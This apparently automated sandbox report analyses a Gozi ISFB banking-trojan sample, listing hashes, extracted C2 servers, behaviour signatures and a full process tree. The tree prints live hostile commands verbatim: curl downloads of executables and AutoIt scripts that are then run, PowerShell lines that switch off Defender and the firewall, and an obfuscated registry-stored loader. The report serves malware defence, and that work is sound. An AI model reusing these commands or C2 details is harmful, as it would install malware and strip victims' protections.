Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    22/03/2022, 09:41

General

  • Target

    98b082b4d65dfe4ee5b227575d1c08ef.exe

  • Size

    215KB

  • MD5

    98b082b4d65dfe4ee5b227575d1c08ef

  • SHA1

    21d9d7f91bdab90a3900832404be3bab06e82c03

  • SHA256

    e7767ba8bcff3242dd32f880cb59894c3ce5615a2557504db976803cd246354e

  • SHA512

    e7e46e85699716dec1aedce1dbc7e995f5507b1de137c77110225e162ac2ffcfeedd50f2e5292302043f445ef0eaf7fc551edcf43a195d815c2c1f15469dc8c1

Malware Config

Extracted

Family

gozi_ifsb

Botnet

3000

C2

config.edge.skype.com

194.76.226.200

giporedtrip.at

habpfans.at

31.214.157.187

Attributes
  • base_path

    /drew/

  • build

    250225

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

3000

C2

config.edge.skype.com

194.76.226.200

giporedtrip.at

habpfans.at

31.214.157.187

Attributes
  • base_path

    /images/

  • exe_type

    worker

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • UAC bypass 3 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 35 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3440
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3428
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:392
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3740
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1048
          • C:\Users\Admin\AppData\Local\Temp\98b082b4d65dfe4ee5b227575d1c08ef.exe
            "C:\Users\Admin\AppData\Local\Temp\98b082b4d65dfe4ee5b227575d1c08ef.exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2504
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c mkdir C:\Users\Admin\AppData\Roaming\EdgeData
              3⤵
                PID:4612
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.exe --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4212
                • C:\Windows\SysWOW64\curl.exe
                  curl http://sincheats.com/gas/12/HF.exe --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
                  4⤵
                    PID:3296
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.dll --output C:\Users\Admin\AppData\Roaming\EdgeData\A.dll
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2356
                  • C:\Windows\SysWOW64\curl.exe
                    curl http://sincheats.com/gas/12/HF.dll --output C:\Users\Admin\AppData\Roaming\EdgeData\A.dll
                    4⤵
                      PID:448
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.exe.manifest --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe.manifest
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3684
                    • C:\Windows\SysWOW64\curl.exe
                      curl http://sincheats.com/gas/12/HF.exe.manifest --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe.manifest
                      4⤵
                        PID:3140
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4012
                  • C:\Windows\System32\mshta.exe
                    "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xnq8='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xnq8).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\F13BB3F3-9C04-4B57-2EB5-90AF42B9C453\\\DiagramClass'));if(!window.flag)close()</script>"
                    2⤵
                    • Checks computer location settings
                    PID:3920
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xvsleyr -value gp; new-alias -name whpcnio -value iex; whpcnio ([System.Text.Encoding]::ASCII.GetString((xvsleyr "HKCU:Software\AppDataLow\Software\Microsoft\F13BB3F3-9C04-4B57-2EB5-90AF42B9C453").CharFolder))
                      3⤵
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: MapViewOfSection
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4616
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\51nl350v\51nl350v.cmdline"
                        4⤵
                          PID:3832
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E9C.tmp" "c:\Users\Admin\AppData\Local\Temp\51nl350v\CSCC3572B61CE2C4D9983F3D2D7AFE08A9A.TMP"
                            5⤵
                              PID:1004
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gwfwitbd\gwfwitbd.cmdline"
                            4⤵
                              PID:3808
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FC5.tmp" "c:\Users\Admin\AppData\Local\Temp\gwfwitbd\CSC970B265ABB4CA3B74729EAA4FE53D8.TMP"
                                5⤵
                                  PID:1876
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe"
                            2⤵
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: MapViewOfSection
                            PID:5004
                            • C:\Windows\system32\PING.EXE
                              ping localhost -n 5
                              3⤵
                              • Runs ping.exe
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              PID:2144
                          • C:\Windows\system32\cmd.exe
                            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\34A2.bi1"
                            2⤵
                              PID:3132
                              • C:\Windows\system32\nslookup.exe
                                nslookup myip.opendns.com resolver1.opendns.com
                                3⤵
                                  PID:1952
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\34A2.bi1"
                                2⤵
                                  PID:3720
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                  2⤵
                                    PID:4948
                                    • C:\Windows\system32\systeminfo.exe
                                      systeminfo.exe
                                      3⤵
                                      • Gathers system information
                                      PID:4444
                                  • C:\Windows\syswow64\cmd.exe
                                    "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                                    2⤵
                                      PID:2372
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                      2⤵
                                        PID:4540
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                        2⤵
                                          PID:1436
                                          • C:\Windows\system32\net.exe
                                            net view
                                            3⤵
                                            • Discovers systems in the same network
                                            PID:4528
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                          2⤵
                                            PID:2500
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                            2⤵
                                              PID:756
                                              • C:\Windows\system32\nslookup.exe
                                                nslookup 127.0.0.1
                                                3⤵
                                                  PID:4892
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                2⤵
                                                  PID:4580
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                  2⤵
                                                    PID:4708
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist.exe /SVC
                                                      3⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:216
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                    2⤵
                                                      PID:4272
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                      2⤵
                                                        PID:4360
                                                        • C:\Windows\system32\driverquery.exe
                                                          driverquery.exe
                                                          3⤵
                                                            PID:556
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                          2⤵
                                                            PID:4500
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                            2⤵
                                                              PID:2884
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                                3⤵
                                                                  PID:3832
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                2⤵
                                                                  PID:3312
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                  2⤵
                                                                    PID:4020
                                                                    • C:\Windows\system32\net.exe
                                                                      net config workstation
                                                                      3⤵
                                                                        PID:2768
                                                                        • C:\Windows\system32\net1.exe
                                                                          C:\Windows\system32\net1 config workstation
                                                                          4⤵
                                                                            PID:4036
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                        2⤵
                                                                          PID:4616
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                          2⤵
                                                                            PID:4404
                                                                            • C:\Windows\system32\nltest.exe
                                                                              nltest /domain_trusts
                                                                              3⤵
                                                                                PID:4244
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                              2⤵
                                                                                PID:640
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                2⤵
                                                                                  PID:2396
                                                                                  • C:\Windows\system32\nltest.exe
                                                                                    nltest /domain_trusts /all_trusts
                                                                                    3⤵
                                                                                      PID:5052
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                    2⤵
                                                                                      PID:3020
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                      2⤵
                                                                                        PID:3976
                                                                                        • C:\Windows\system32\net.exe
                                                                                          net view /all /domain
                                                                                          3⤵
                                                                                          • Discovers systems in the same network
                                                                                          PID:3288
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                        2⤵
                                                                                          PID:548
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                          2⤵
                                                                                            PID:4876
                                                                                            • C:\Windows\system32\net.exe
                                                                                              net view /all
                                                                                              3⤵
                                                                                              • Discovers systems in the same network
                                                                                              PID:3692
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                            2⤵
                                                                                              PID:4332
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\58E.bin1 > C:\Users\Admin\AppData\Local\Temp\58E.bin & del C:\Users\Admin\AppData\Local\Temp\58E.bin1"
                                                                                              2⤵
                                                                                                PID:4348
                                                                                            • C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
                                                                                              C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
                                                                                              1⤵
                                                                                              • Executes dropped EXE
                                                                                              • Checks computer location settings
                                                                                              • Modifies system certificate store
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4896
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c curl http://sincheats.com/gas/AutoIt3.exe --output AutoIt3.exe
                                                                                                2⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3792
                                                                                                • C:\Windows\system32\curl.exe
                                                                                                  curl http://sincheats.com/gas/AutoIt3.exe --output AutoIt3.exe
                                                                                                  3⤵
                                                                                                    PID:960
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c curl http://sincheats.com/gas/AutoIt3.exe --output C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe
                                                                                                  2⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1692
                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                    curl http://sincheats.com/gas/AutoIt3.exe --output C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe
                                                                                                    3⤵
                                                                                                      PID:3948
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c curl http://sincheats.com/gas/12/WD.au3 --output WD.au3
                                                                                                    2⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3036
                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                      curl http://sincheats.com/gas/12/WD.au3 --output WD.au3
                                                                                                      3⤵
                                                                                                        PID:3608
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c start AutoIt3.exe WD.au3
                                                                                                      2⤵
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:4228
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe
                                                                                                        AutoIt3.exe WD.au3
                                                                                                        3⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Checks computer location settings
                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        • System policy modification
                                                                                                        PID:376
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          4⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4728
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension ".exe"
                                                                                                          4⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:1328
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
                                                                                                          4⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4328
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" netsh advfirewall set allprofiles state off
                                                                                                          4⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4800
                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                            5⤵
                                                                                                              PID:3608
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c curl http://sincheats.com/gas/12/run.au3 --output C:\Users\Admin\AppData\Roaming\EdgeData\run.au3
                                                                                                        2⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:3472
                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                          curl http://sincheats.com/gas/12/run.au3 --output C:\Users\Admin\AppData\Roaming\EdgeData\run.au3
                                                                                                          3⤵
                                                                                                            PID:1060
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c start C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe C:\Users\Admin\AppData\Roaming\EdgeData\run.au3
                                                                                                          2⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:484
                                                                                                          • C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe
                                                                                                            C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe C:\Users\Admin\AppData\Roaming\EdgeData\run.au3
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of SetThreadContext
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:1768
                                                                                                            • C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\EdgeData\AutoIt3.exe"
                                                                                                              4⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:620

                                                                                                      Network

                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads

                                                                                                            • memory/392-217-0x000001399C2B0000-0x000001399C335000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/392-216-0x000001399A600000-0x000001399A601000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/620-154-0x0000000000BE0000-0x0000000000BED000-memory.dmp

                                                                                                              Filesize

                                                                                                              52KB

                                                                                                            • memory/620-151-0x0000000000BE0000-0x0000000000BED000-memory.dmp

                                                                                                              Filesize

                                                                                                              52KB

                                                                                                            • memory/1048-205-0x00000000085A0000-0x0000000008625000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/1048-204-0x0000000002C10000-0x0000000002C11000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/1328-170-0x0000000002F12000-0x0000000002F13000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/1328-168-0x00000000730F0000-0x00000000738A0000-memory.dmp

                                                                                                              Filesize

                                                                                                              7.7MB

                                                                                                            • memory/1328-174-0x000000007FC40000-0x000000007FC41000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/1328-173-0x0000000002F15000-0x0000000002F17000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/1328-172-0x000000006F980000-0x000000006F9CC000-memory.dmp

                                                                                                              Filesize

                                                                                                              304KB

                                                                                                            • memory/1328-169-0x0000000002F10000-0x0000000002F11000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/2144-213-0x000001C323B10000-0x000001C323B95000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/2144-212-0x000001C3239F0000-0x000001C3239F1000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/3428-215-0x0000024B83090000-0x0000024B83115000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/3428-214-0x0000024B82780000-0x0000024B82781000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/3440-209-0x0000028157C50000-0x0000028157CD5000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/3440-208-0x0000028157CE0000-0x0000028157CE1000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/3740-210-0x00000226779F0000-0x00000226779F1000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/3740-211-0x0000022678C70000-0x0000022678CF5000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/4328-179-0x000000006F980000-0x000000006F9CC000-memory.dmp

                                                                                                              Filesize

                                                                                                              304KB

                                                                                                            • memory/4328-178-0x0000000002A92000-0x0000000002A93000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4328-177-0x0000000002A90000-0x0000000002A91000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4328-180-0x0000000002A95000-0x0000000002A97000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/4328-176-0x00000000730F0000-0x00000000738A0000-memory.dmp

                                                                                                              Filesize

                                                                                                              7.7MB

                                                                                                            • memory/4328-181-0x000000007F2A0000-0x000000007F2A1000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4616-189-0x00007FF836710000-0x00007FF8371D1000-memory.dmp

                                                                                                              Filesize

                                                                                                              10.8MB

                                                                                                            • memory/4616-203-0x0000019B235D0000-0x0000019B23614000-memory.dmp

                                                                                                              Filesize

                                                                                                              272KB

                                                                                                            • memory/4616-192-0x0000019B23356000-0x0000019B23358000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/4616-191-0x0000019B23353000-0x0000019B23355000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/4616-190-0x0000019B23350000-0x0000019B23352000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/4616-187-0x0000019B0AE40000-0x0000019B0AE62000-memory.dmp

                                                                                                              Filesize

                                                                                                              136KB

                                                                                                            • memory/4728-160-0x00000000074F0000-0x0000000007B6A000-memory.dmp

                                                                                                              Filesize

                                                                                                              6.5MB

                                                                                                            • memory/4728-159-0x0000000006140000-0x000000000615E000-memory.dmp

                                                                                                              Filesize

                                                                                                              120KB

                                                                                                            • memory/4728-141-0x00000000730F0000-0x00000000738A0000-memory.dmp

                                                                                                              Filesize

                                                                                                              7.7MB

                                                                                                            • memory/4728-142-0x0000000002290000-0x0000000002291000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4728-143-0x00000000022C0000-0x00000000022F6000-memory.dmp

                                                                                                              Filesize

                                                                                                              216KB

                                                                                                            • memory/4728-144-0x0000000004CC0000-0x00000000052E8000-memory.dmp

                                                                                                              Filesize

                                                                                                              6.2MB

                                                                                                            • memory/4728-167-0x00000000071D0000-0x00000000071D8000-memory.dmp

                                                                                                              Filesize

                                                                                                              32KB

                                                                                                            • memory/4728-166-0x00000000071F0000-0x000000000720A000-memory.dmp

                                                                                                              Filesize

                                                                                                              104KB

                                                                                                            • memory/4728-165-0x00000000070E0000-0x00000000070EE000-memory.dmp

                                                                                                              Filesize

                                                                                                              56KB

                                                                                                            • memory/4728-164-0x0000000007130000-0x00000000071C6000-memory.dmp

                                                                                                              Filesize

                                                                                                              600KB

                                                                                                            • memory/4728-163-0x0000000006F20000-0x0000000006F2A000-memory.dmp

                                                                                                              Filesize

                                                                                                              40KB

                                                                                                            • memory/4728-162-0x000000007F700000-0x000000007F701000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4728-161-0x0000000006EB0000-0x0000000006ECA000-memory.dmp

                                                                                                              Filesize

                                                                                                              104KB

                                                                                                            • memory/4728-145-0x0000000002292000-0x0000000002293000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4728-158-0x000000006F980000-0x000000006F9CC000-memory.dmp

                                                                                                              Filesize

                                                                                                              304KB

                                                                                                            • memory/4728-157-0x0000000006170000-0x00000000061A2000-memory.dmp

                                                                                                              Filesize

                                                                                                              200KB

                                                                                                            • memory/4728-156-0x0000000002295000-0x0000000002297000-memory.dmp

                                                                                                              Filesize

                                                                                                              8KB

                                                                                                            • memory/4728-155-0x0000000005BB0000-0x0000000005BCE000-memory.dmp

                                                                                                              Filesize

                                                                                                              120KB

                                                                                                            • memory/4728-148-0x00000000055A0000-0x0000000005606000-memory.dmp

                                                                                                              Filesize

                                                                                                              408KB

                                                                                                            • memory/4728-147-0x00000000054C0000-0x0000000005526000-memory.dmp

                                                                                                              Filesize

                                                                                                              408KB

                                                                                                            • memory/4728-146-0x0000000005320000-0x0000000005342000-memory.dmp

                                                                                                              Filesize

                                                                                                              136KB

                                                                                                            • memory/4800-183-0x00000000730F0000-0x00000000738A0000-memory.dmp

                                                                                                              Filesize

                                                                                                              7.7MB

                                                                                                            • memory/4800-184-0x0000000004E00000-0x0000000004E01000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/4800-185-0x0000000004E02000-0x0000000004E03000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB

                                                                                                            • memory/5004-207-0x0000025D7B890000-0x0000025D7B915000-memory.dmp

                                                                                                              Filesize

                                                                                                              532KB

                                                                                                            • memory/5004-206-0x0000025D7B650000-0x0000025D7B651000-memory.dmp

                                                                                                              Filesize

                                                                                                              4KB